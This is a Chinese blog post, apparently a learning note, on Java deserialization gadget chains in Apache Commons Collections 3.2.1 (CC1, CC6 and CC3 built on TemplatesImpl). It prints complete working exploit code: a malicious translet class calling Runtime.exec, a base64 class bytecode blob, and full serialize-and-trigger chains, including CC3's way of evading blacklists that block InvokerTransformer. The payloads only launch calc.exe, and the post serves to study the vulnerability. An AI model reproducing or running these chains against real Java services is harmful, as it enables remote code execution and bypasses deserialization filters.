当前位置: 首页 > article >正文

java反序列化学习之CommonCollections3利用链的学习

一、前言

在前文中,我们学习了Java的类加载过程,类加载器以及Java中加载字节码的一些方法,其中介绍了TemplatesImpl,TemplatesImpl是一个可以加载字节码的类,通过调用其newTransformer()方法,即可执行这段字节码的类构造器。 那么,在反序列化的漏洞,能否利用这个特性执行任意代码呢?

二、回顾CC1和CC6

在CC1的利用链中,TransformedMap 是在写入的 时候执行 transform,其中利用点是通过 sun.reflect.annotation.AnnotationInvocationHandler#readObject 方法达到写入的目的,从而执行transform;  LazyMap则是在其get方法中执行 factory.transform,但是 sun.reflect.annotation.AnnotionInvocationHandler#readObject方法并没有直接调用get方法,而是在其invoke方法中有调用,故而用到了Proxy代理方式实现在readObject时调用invoke,达到执行transform的目的。

但是在CC1链中,因为在Java 8u71之后的版本改动了sun.reflect.annotation.AnnotationInvocationHandler#readObject 方法,不在直接使用发序列化后得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值加进去,所以我们精心构造的Map不在执行set或put操作,也就不会触发RCE了。

1、使用TemlatesImpl 构造 CC1链

环境信息:
java 7u61

commons-collections 3.2.1

我们先回忆下 CommonCollections1的利用链 ,当时可以利用TransformedMap执行任意Java方法

CommonCollections1.java

package com.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);

        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
        

    }
}

而在上一节 java动态加载字节码的学习中, 我们又学习了如何利用TemplatesImpl执行字节码

public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
                "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
                "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
                "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
                "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
                "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
                "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
                "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
                "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
                "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
                "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
                "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
                "DwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();

只需要结合这两段POC,即可很容易的改造出一个执行任意字节码的CommonsCollections 利用链: 只需要将第一个demo中的 InvokerTransformer 执行的方法 改成 TemplatesImpl#newTransformer()  即可:

Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(obj),
 new InvokerTransformer("newTransformer", null, null)
};

完整POC如下:

evil.java  //用于生成evil.class 类文件

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

com.vulhub.Ser.TemplatesImplToCC1.java


package com.vulhub.Ser;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class TemplatesImplToCC1 {
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, Value);
    }
    
    //读取文件字节流,赋值给 TemplatesImpl#_bytecodes
    public static byte[] readClassFile(String filePath) throws IOException {
        Path path = Paths.get(filePath);
        return Files.readAllBytes(path);
    }

    public static void main(String[] args) throws Exception{
        //source: bytecodes /evil.java
        byte[] code = readClassFile("D:\\java\\test\\evil.class");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj,"_name", "evil");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null,null),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object objAnonotion = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(objAnonotion);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();


    }
}

我们分析一下为什么可以这么构造。 在学习CC1链的文章中,我们了解到其核心原理就是InvokerTransformer#transform ,可以执行任意方法。 在java类加载的学习中,我们了解到 TemplatesImpl 加载字节码 的调用链 中用到了 TemplatesImpl#newTransformer() 。 那么我们cc1链中的 exec方法改造一下,换成newTransformer() 方法,这样就组成了一条 TemplatesImpl版的 CC1利用链 ,LazyMap利用的payload就省略不写了,参照之前的POC。 但是,因为还是CC1链,用到的还是sun.reflect.annotation.AnnotationInvocationHandler类,所以依旧限制在8u71之前才能使用。

2、使用TemplatesImpl 构造 CC6链

环境信息:
java 1.8.0_261

commons-collections 3.2.1

上一章中,因为使用的是cc1链,受限于jdk版本,故而其实这里我们也可以用 TemplatesImpl 构造一版 cc6链的poc。测试代码如下;

evil.java  //用于生成evil.class 类文件

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}
TemplatesImplToCC6.java

package com.vulhub.Ser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class TemplatesImplToCC6 {
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, Value);
    }
    public static byte[] readClassFile(String filePath) throws IOException {
        Path path = Paths.get(filePath);
        return Files.readAllBytes(path);
    }

    public static void main(String[] args) throws Exception{
        //source: bytecodes /evil.java
        byte[] code = readClassFile("D:\\java\\test\\evil.class");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj,"_name", "evil");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null,null),
        };
        Transformer  transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.remove("keykey");
        setFieldValue(transformerChain,"iTransformers", transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();



    }

}

三、为什么需要CommonsCollections3链呢?

在上述的说明中,TemplatesImpl可以用于构造CC1和CC6链,并且CC6链不受jdk版本影响,那为什么还需要CC3链呢?

我们可以再来看ysoserial中的CC3,可以发现其中没有使⽤到InvokerTransformer原因是什么呢?

2015年初,@frohoff和@gebl发布了 Marshalling Pickles:how deserializing objects will ruin your day,以及反序列化利用工具yaoserial,安全开发者自然会去寻找一种安全的过滤方法,类似SerialKiller这样的工具随之诞生:

SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单

这个黑名单中InvokerTransformer 赫然在列,也就切断了 CommonsCollections1和6的利用链。 ysoseria随后增加了不少新的Gadgets, 其中就包括 CommonsCollections3.

CommonsCollections3的目的很明显,就是为了绕过一些规则对 InvokerTransformer的限制。 CommonsCollections3并没有使用到 InvokerTransformer来调用任意方法,而是用到了另一个类, com.sun.org.apahce.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造方法中调用(TransformerImpl) templates.newTransformer() ,免去了我们使用InvokerTransformer手工调用newTransformer() 方法这一步

当然,这里缺少了 InvokerTransformer, TrAXFilter 的构造方法也无法调用。所以我们需要找到一个地方,能实现调用 com.sun.org.apahce.xalan.internal.xsltc.trax.TrAXFilter  的构造方法。 那就是 org.apache.commons.collections.functors.InstantiateTransformer 。InstantiateTransformer 也是一个实现了Transformer接口的类, 他的作用就是调用构造方法。

所以,我们实现的目标就是,利用 InstantiateTransformer 来调用 TrAXFilter 的构造方法, 再利用其构造方法里的 templates.newTransformer()  调用到 TemplatesImpl 里的字节码。

CommonsCollections3利用链poc示例:

环境信息:
java 1.8.0_261

commons-collections 3.2.1

evil.java  //用于生成evil.class 类文件

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}
CommonCollections3.java

package com.vulhub.Ser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] readClassFile(String filePath) throws IOException {
        Path path = Paths.get(filePath);
        return Files.readAllBytes(path);
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes", new byte[][]{ readClassFile("D:\\java\\test\\evil.class")});
        setFieldValue(obj,"_name","evil");
        setFieldValue(obj,"_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] {Templates.class},
                        new Object[]{obj}
                )
        };

        Transformer  transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.remove("keykey");
        setFieldValue(transformerChain,"iTransformers", transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}


http://www.kler.cn/a/384810.html

相关文章:

  • [linux]docker快速入门
  • ubuntu 22.04 server 格式化 磁盘 为 ext4 并 自动挂载 LTS
  • Apache Commons Collections 反序列化漏洞
  • 印刷质量检测笔记
  • ajax关于axios库的运用小案例
  • STM32Cube高效开发教程<高级篇><FreeRTOS>(十二)-----互斥量使用例程
  • (一)NodeJS环境安装、创建第一个Vue应用
  • C++入门基础知识140—【关于C++ 类构造函数 析构函数】
  • C++练习题(3)
  • ZABBIX API获取监控服务器OS层信息
  • 信息流投放账户、广告位置与优势
  • C++ vector
  • 代码随想录算法训练营第三十六天|Day36 动态规划
  • 蛋奶烙饼:美味与温暖的邂逅
  • Java图片转word
  • Elasticsearch-linux环境部署
  • 跨境电商独立站怎么建?如何收款?
  • CDGA|治理、技术、运营三管齐下构建高效数据管理体系
  • 【Linux】冯诺依曼体系、再谈操作系统
  • 内网部署web项目,外网访问不了?只有局域网能访问!怎样解决?
  • C语言心型代码解析
  • Qt开发技巧(二十二)设置QPA,打开记忆文件,清除表单页注意判断存在性,工程文件去重添加,按钮组的顺序设置,Qt的属性用来传值,查找问题的方法
  • 大数据工具 flume 的安装配置与使用 (详细版)
  • 入门网络安全工程师要学习哪些内容(详细教程)
  • 梧桐数据库与mysql及oracle关于交换服务器编号的SQL写法分析
  • ES + SkyWalking + Spring Boot:日志分析与服务监控(三)